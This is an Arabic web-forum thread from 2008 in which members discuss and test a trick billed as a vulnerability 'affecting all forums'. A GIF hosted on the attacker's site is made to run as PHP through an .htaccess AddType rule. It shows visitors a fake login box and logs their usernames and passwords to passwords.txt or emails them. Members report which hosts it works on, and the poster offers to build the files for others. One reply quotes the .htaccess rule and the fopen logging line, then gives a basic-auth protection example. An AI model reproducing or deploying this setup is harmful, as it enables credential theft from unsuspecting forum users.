شرح مصور لثغرة سهلة و جديدة مصاب بها كل المنتديات .

Mr-Viros · 04-03-2008, 04:11 PM

مشكوور حبيبي

و الله فكره حلوه

جاري التجربه و ان شاء الله يقدر أي واحد يطورها

تحياتي لك يا بطل

ســمــوك · 04-03-2008, 04:59 PM

تـسـلـم

نبطقها ونرجع لك

لكن الي راح تاخده الادمن و باسورد لوحة التحكم

طيب لما تسجل في لوحة التحكم يطالبك علشان تكمل تدخل للمنتدى ايش الحل

SnakE ThE BosS · 04-06-2008, 05:35 PM

مب شغاله فديتكـ ..

أنت متأكد ان التصريح هو 755 ؟؟ لان صرت الملفات كلها مع المجلد ويطلع لي المربع واحط اي شي ثم موافق بس مايتكون ملف اللي فيه الباسورد

عالعموووم Thx

totti272 · 04-06-2008, 07:38 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة SnakE ThE BosS


	مب شغاله فديتكـ .. أنت متأكد ان التصريح هو 755 ؟؟ لان صرت الملفات كلها مع المجلد ويطلع لي المربع واحط اي شي ثم موافق بس مايتكون ملف اللي فيه الباسورد عالعموووم Thx

أخى الغالى انا شرحت الثغرة فيديو ، ويعنى ما فيها شىء غريب ولا صعب يمكن تنفيذه

أخوى الثغرة شغالة حتى الأن وأدخل

هنـــــــــــــــا

وحط اى يوزرنيم وباسورد وانا أكتبه له هنا فى المنتدى

totti272 · 04-06-2008, 10:11 PM

مسائك زى الفل

اقتباس:


	Test \|\|\| dfdfddfdf تجربه يا قلبي \|\|\| تجربه

أتمنى تكون إتأكدت إنها شغالة

أنا اعرض عليك إنى أسوى لك الملفات وأرفعهم أول مرة ، وأى خدمة

عبورة · 04-07-2008, 03:51 AM

[IMG] www.sweetksa.890m.com/as/new/smile.gif [/IMG]

ماتظبط معاى ليش ,, محملته على موقعى

مع انه فييييه تحددددى تكفى اخوى

اختك

totti272 · 04-07-2008, 11:42 AM

اقتباس:

المشاركة الأصلية كتبت بواسطة عبورة


	[IMG] www.sweetksa.890m.com/as/new/smile.gif [/IMG] ماتظبط معاى ليش ,, محملته على موقعى مع انه فييييه تحددددى تكفى اخوى اختك

أهلين أختى

انا جربتها على موقع مجانى وما ظبتش

ونفس الملفات جربتها على موقع مدفوع وظطبت

يبقى لازم يكون عندك موقع مش مجانى ترفعى عليه الملفات

ولو تبغى أعمل لك ملفات ويوصلك التبليغ على صفحة خارجية أو الأيميل راح أظبطها لك

شكرا

SnakE ThE BosS · 04-07-2008, 03:13 PM

تســلم يالغآلي معليه تعبتك معي ،،

الخطأ طلع من الموقع جربته على موقعين ماظبطوا ،، لكن على الثالث ظبط .. بس مادري وين المشكله بالظبط ،،

عالعمووم اللي ماويصله يجربع على اكثر من موقع

وماقصرت والله اشهد انك ذيـب

totti272 · 04-07-2008, 03:25 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة SnakE ThE BosS


	تســلم يالغآلي معليه تعبتك معي ،، الخطأ طلع من الموقع جربته على موقعين ماظبطوا ،، لكن على الثالث ظبط .. بس مادري وين المشكله بالظبط ،، عالعمووم اللي ماويصله يجربع على اكثر من موقع وماقصرت والله اشهد انك ذيـب

شكرا أخى الكريم

وتسلم على كلامك الحلو

وأبشرك كل المواقع والمنتديات مصابة ،

بس إبقى غير إسم الملف اللى يوصلك عليه الباسوردات passwords.txt
إلى أى ملف تانى علشان ما فى حد يدخل ويشوف باسورداتك
وللتغير عدل على ملف

smile.gif

وكمان أنا طورتها وجعلت التبليغ حصرى على الإيميل

وإن شاء الله أرفع الملفات الجديدة أول بأول

شكرا لك

joker_1 · 04-07-2008, 03:54 PM

السلام عليكم شباب

اولا اخي عندي شي بسيط هاي مش ثغرة ولا شي

هاي حمايه ازلية وقدييييمة جدا جدا جدا لحماية الملفات بكل بساطة يعني الي يطلب ملف معين يمنعة الهتكسس
ويقولة الملف ممنوع او اي رسالة

هنا بدل المنع فقط عمل ملف زيادة لحفظ البيانات بملف لوق خارجي
$f = fopen('passwords.txt', 'ab'); //passwords.txt

الي ما نجحت ويهمم يجربو سيرفر يكون فية دالة fopen مفتوحة

ثاني شي ملف الهتكسس عشان يسمح للسيرفر انة يخلي ملفات ال gif تشتغل اكواد

<Files "smile.gif">
AddType application/x-httpd-php .gif
</Files>

طريقة الحماية للملفات كالتالي

تعمل ملف هتكسس وتنزل فية

AuthUserFile /usr/local/you/safedir/.htpasswd
AuthGroupFile /dev/null
AuthName [أدخل اسم المستخدم و كلمة المرور]
AuthType Basic
<limit> order allow,deny
allow from all
require valid-user </limit>

تعدل مسار ال htpasswd الي هو مشابة للهتكسس

بتحط فية اليوزر والباس

شرح مصور لثغرة سهلة و جديدة مصاب بها كل المنتديات .

أمن المواقع والسيرفرات

شرح مصور لثغرة سهلة و جديدة مصاب بها كل المنتديات .

أمن المواقع والسيرفرات